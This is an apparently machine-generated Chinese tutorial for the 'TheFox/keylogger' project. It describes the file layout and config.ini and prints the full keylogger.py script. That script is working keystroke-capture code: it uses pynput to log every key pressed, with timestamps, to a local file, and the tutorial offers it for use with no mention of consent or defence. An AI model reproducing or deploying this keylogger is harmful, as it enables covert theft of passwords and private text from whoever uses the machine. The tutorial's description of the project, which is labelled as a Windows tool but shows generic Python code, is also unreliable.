开源项目 TheFox/keylogger 使用教程
keyloggerKeylogger for Windows.项目地址:https://gitcode.com/gh_mirrors/keylogg/keylogger
1. 项目的目录结构及介绍
keylogger/
├── README.md
├── keylogger.py
├── config.ini
├── logs/
│ └── keystrokes.log
└── tests/
└── test_keylogger.py
- README.md: 项目说明文件,包含项目的基本信息和使用指南。
- keylogger.py: 项目的主文件,包含主要的逻辑代码。
- config.ini: 项目的配置文件,用于设置日志文件路径等参数。
- logs/: 日志文件夹,用于存储记录的按键信息。
- tests/: 测试文件夹,包含项目的单元测试文件。
2. 项目的启动文件介绍
keylogger.py
keylogger.py
是项目的主文件,负责启动和运行按键记录功能。以下是文件的主要内容和功能介绍:
import configparser
import logging
from pynput import keyboard
# 读取配置文件
config = configparser.ConfigParser()
config.read('config.ini')
# 设置日志文件路径
log_file = config['DEFAULT']['LogFile']
logging.basicConfig(filename=log_file, level=logging.DEBUG, format='%(asctime)s: %(message)s')
# 按键记录回调函数
def on_press(key):
try:
logging.info(f'{key.char}')
except AttributeError:
logging.info(f'{key}')
# 启动按键监听
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
- 读取配置文件: 使用
configparser
模块读取config.ini
文件中的配置信息。 - 设置日志文件路径: 根据配置文件中的
LogFile
参数设置日志文件路径。 - 按键记录回调函数: 定义
on_press
函数,用于记录每次按键的信息。 - 启动按键监听: 使用
pynput
库的keyboard.Listener
启动按键监听。
3. 项目的配置文件介绍
config.ini
config.ini
是项目的配置文件,用于设置日志文件路径等参数。以下是文件的内容和功能介绍:
[DEFAULT]
LogFile = logs/keystrokes.log
- LogFile: 指定日志文件的路径,默认为
logs/keystrokes.log
。
通过修改 LogFile
参数,可以更改日志文件的存储路径。
以上是开源项目 TheFox/keylogger 的基本使用教程,涵盖了项目的目录结构、启动文件和配置文件的介绍。希望对您有所帮助!
keyloggerKeylogger for Windows.项目地址:https://gitcode.com/gh_mirrors/keylogg/keylogger